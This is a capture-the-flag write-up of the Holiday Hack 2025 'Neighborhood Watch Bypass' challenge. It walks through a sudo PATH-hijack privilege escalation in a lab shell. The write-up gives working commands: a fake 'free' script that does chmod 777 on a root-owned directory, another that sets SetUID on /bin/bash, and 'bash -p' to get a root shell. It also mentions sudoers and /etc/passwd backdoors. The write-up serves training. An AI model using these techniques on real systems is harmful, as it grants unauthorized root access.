Holiday Hack 2025: Neighborhood Watch Bypass
Introduction
Neighborhood Watch Bypass
Difficulty:❅❅❅❅❅Kyle Parrish is standing outside the old data center:
Kyle Parrish
If you spot a fire, let me know! I’m Kyle, and I’ve been around the Holiday Hack Challenge scene for years as arnydo - picked up multiple Super Honorable Mentions along the way.
When I’m not fighting fires or hunting vulnerabilities, you’ll find me on a unicycle or juggling - I once showed up a professional clown with his own clubs!
My family and I love exploring those East Tennessee mountains, and honestly, geocaching teaches you a lot about finding hidden things - useful in both firefighting and hacking.
Anyway, I could use some help here. This fire alarm keeps going nuts but there’s no fire. I checked.
I think someone has locked us out of the system. Can you see if you can get back in?
Chat with Kyle Parrish
Congratulations! You spoke with Kyle Parrish!
The terminal opens up Linux terminal with a fire-themed message of the day:
I need to run /etc/firealarm/restore_fire_alarm to complete the challenge.
Solution
Enumeration
Solution Binary
I’m given a shell as the chiuser, which the message say has standard user access only. Their home directory has standard stuff:
🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ ls -la
total 24
drwxr-x--- 1 chiuser chiuser 4096 Oct 8 14:08 .
drwxr-xr-x 1 root root 4096 Oct 6 22:34 ..
-rw-r--r-- 1 chiuser chiuser 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 chiuser chiuser 3971 Oct 8 14:08 .bashrc
-rw-r--r-- 1 chiuser chiuser 807 Jan 6 2022 .profile
drwxr-xr-x 1 chiuser chiuser 4096 Oct 8 14:08 bin
It’s a bit odd to see a bin directory in the root of home (I would expect that in .local/bin). It’s worth noting that this directory is at the front of the default chiuser’s PATH variable:
🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ echo $PATH
/home/chiuser/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
That means when the OS goes to look for a binary that is called without a full path, it will start there.
The only file in it is runtoanswer, which is a symlink to the file mentioned in the intro text:
🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ ls -l bin/
total 0
lrwxrwxrwx 1 root root 33 Oct 8 14:08 runtoanswer -> /etc/firealarm/restore_fire_alarm
I can’t run it now because the linked to file is in a directory this user can’t access:
🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ ls -l /etc/firealarm/
ls: cannot open directory '/etc/firealarm/': Permission denied
🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ ls -dl /etc/firealarm/
drwx------ 1 root root 4096 Oct 8 14:08 /etc/firealarm/
Sudo
The chiuser user is able to run sudo as root without a password to call the system_status.sh script:
🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ sudo -l
Matching Defaults entries for chiuser on 12746ea4b16d:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
secure_path=/home/chiuser/bin\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
env_keep+="API_ENDPOINT API_PORT RESOURCE_ID HHCUSERNAME", env_keep+=PATH
User chiuser may run the following commands on 12746ea4b16d:
(root) NOPASSWD: /usr/local/bin/system_status.sh
It’s important to note that the env_keep+=PATH is set, which is very dangerous. I’ll come back to this.
Running the script prints a bunch of system information:
🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ sudo system_status.sh
=== Dosis Neighborhood Fire Alarm System Status ===
Fire alarm system monitoring active...
System resources (for alarm monitoring):
total used free shared buff/cache available
Mem: 31Gi 1.1Gi 25Gi 1.0Mi 4.5Gi 29Gi
Swap: 0B 0B 0B
Disk usage (alarm logs and recordings):
Filesystem Size Used Avail Use% Mounted on
overlay 296G 16G 268G 6% /
tmpfs 64M 0 64M 0% /dev
shm 64M 0 64M 0% /dev/shm
/dev/sda1 296G 16G 268G 6% /etc/hosts
tmpfs 16G 0 16G 0% /proc/acpi
tmpfs 16G 0 16G 0% /sys/firmware
Active fire department connections:
16:00:19 up 18:03, 0 users, load average: 0.39, 0.35, 0.22
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
Fire alarm monitoring processes:
root 32 0.0 0.0 3472 1572 pts/1 S+ 16:00 0:00 grep -E (alarm|fire|monitor|safety)
🔥 Fire Safety Status: All systems operational
🚨 Emergency Response: Ready
📍 Coverage Area: Dosis Neighborhood (all sectors)
The file itself shows what it calls:
#!/bin/bash
echo "=== Dosis Neighborhood Fire Alarm System Status ==="
echo "Fire alarm system monitoring active..."
echo ""
echo "System resources (for alarm monitoring):"
free -h
echo -e "\nDisk usage (alarm logs and recordings):"
df -h
echo -e "\nActive fire department connections:"
w
echo -e "\nFire alarm monitoring processes:"
ps aux | grep -E "(alarm|fire|monitor|safety)" | head -5 || echo "No active fire monitoring processes detected"
echo ""
echo "🔥 Fire Safety Status: All systems operational"
echo "🚨 Emergency Response: Ready"
echo "📍 Coverage Area: Dosis Neighborhood (all sectors)"
In addition to echoing text, it calls free -h, df -h, w, and ps aux with some grep.
Path Hijack
Strategy
None of the programs in the system_status.sh script are called by full path, which means the OS will rely on the PATH variable of the user to find the things to run. That means if I can get a binary into a directory in the root user’s PATH with one of these names, I can run arbitrary code as root.
But above I noted that sudo is configured with keep+=PATH. That means the PATH from my user (which I control) is passed to root for this call. I could add /tmp to the current path and then use that, but I don’t even need to as the ~/bin directory is already at the front of my PATH and writable.
I’ll show two ways to abuse this.
Change Permissions on /etc/firealarm/
The most straight-forward path to solving this challenge is to change the permissions on the /etc/firealarm directory. I’ll create a Bash script named free in the /home/chiuser/bin directory:
#!/bin/bash
echo "Evil free!"
chmod 777 /etc/firealarm
Now I’ll make it executable, and then run sudo system_status.sh:
🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ chmod +x free
🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ sudo system_status.sh
=== Dosis Neighborhood Fire Alarm System Status ===
Fire alarm system monitoring active...
System resources (for alarm monitoring):
Evil free!
Disk usage (alarm logs and recordings):
Filesystem Size Used Avail Use% Mounted on
overlay 296G 16G 268G 6% /
tmpfs 64M 0 64M 0% /dev
shm 64M 0 64M 0% /dev/shm
/dev/sda1 296G 16G 268G 6% /etc/hosts
tmpfs 16G 0 16G 0% /proc/acpi
tmpfs 16G 0 16G 0% /sys/firmware
Active fire department connections:
16:13:52 up 18:16, 0 users, load average: 0.07, 0.13, 0.16
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
Fire alarm monitoring processes:
root 46 0.0 0.0 3472 1568 pts/1 S+ 16:13 0:00 grep -E (alarm|fire|monitor|safety)
🔥 Fire Safety Status: All systems operational
🚨 Emergency Response: Ready
📍 Coverage Area: Dosis Neighborhood (all sectors)
It printed “Evil free!” in that section, which shows it did run my code. The firealarm directory is fully accessible now:
🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ ls -ld /etc/firealarm/
drwxrwxrwx 1 root root 4096 Oct 8 14:08 /etc/firealarm/
And I can run the target binary:
🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ ./runtoanswer
🔥🚨 FIRE ALARM SYSTEM: Attempting to restore admin privileges...
🔒 BYPASSING SECURITY RESTRICTIONS...
📡 Connecting to fire safety control center: https://2025.holidayhackchallenge.com:443/turnstile?rid=73eed19e-ea1e-4362-9c3a-7f60bcccd78d
🎯 SUCCESS! Fire alarm system admin access RESTORED!
🚨 DOSIS NEIGHBORHOOD FIRE PROTECTION: FULLY OPERATIONAL
✅ All fire safety systems are now under proper administrative control
🔥 Emergency response capabilities: ACTIVE
🏠 Neighborhood fire protection: SECURED
======================================================================
CONGRATULATIONS! You've successfully restored fire alarm system
administrative control and protected the Dosis neighborhood!
======================================================================
🔥🚨 FIRE ALARM SYSTEM RESTORATION COMPLETE 🚨🔥
SetUID Bash
If I want to go for a full shell, I can enable the SetUID bit on the bash binary. That will make it so that the binary runs as the owner regardless of who runs it. I’ll update my free script:
#!/bin/bash
echo "Evil free!"
chmod +s /bin/bash
Now the bash binary has the s set for the execute place for both owner and group:
🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
If I just run this, it won’t do what I’m hoping:
🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ bash
bash-5.1$ whoami
chiuser
Bash has a protection in place where if it sees it’s running with a mismatch between the actual user and the effective user (which is what the SetUID bit sets), it will drop those privileges unless the -p flag is given:
-p Turn on privileged mode. In this mode, the $ENV and $BASH_ENV files are not processed, shell functions are not inherited from the environment, and the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored. If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, these actions are taken and the effective user id is set to the real user id. If the -p option is supplied at startup, the effective user id is not reset. Turning this option off causes the effective user and group ids to be set to the real user and group ids.
That works!
🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ bash -p
bash-5.1# id
uid=1000(chiuser) gid=1000(chiuser) euid=0(root) egid=0(root) groups=0(root),1000(chiuser)
Even after getting a fresh instance (resetting the privileges on /etc/firealarm), as root, I can access it:
bash-5.1# ./runtoanswer
🔥🚨 FIRE ALARM SYSTEM: Attempting to restore admin privileges...
🔒 BYPASSING SECURITY RESTRICTIONS...
📡 Connecting to fire safety control center: https://2025.holidayhackchallenge.com:443/turnstile?rid=00505efd-02cf-481c-b76c-6bffc76a2a89
🚨 CRITICAL ERROR: Unable to connect to fire safety control center!
💥 Error details: Can't connect to HTTPS URL because the SSL module is not available.
🔥 Fire alarm system remains in lockout mode!
🔥🚨 FIRE ALARM SYSTEM RESTORATION COMPLETE 🚨🔥
There are other things I could do to get a shell, like creating a file in /etc/sudoers.d to give chiuser more privileges, adding a fake root user to /etc/passwd, or writing a cron.
Outro
Neighborhood Watch Bypass
Congratulations! You have completed the Neighborhood Watch Bypass challenge!
Kyle is appreciative:
Kyle Parrish
Wow! Thank you so much! I didn’t realize sudo was so powerful. Especially when misconfigured. Who knew a simple privilege escalation could unlock the whole fire safety system?
Now… will you sudo make me a sandwich?
Nice reference to a classic XKCD cartoon: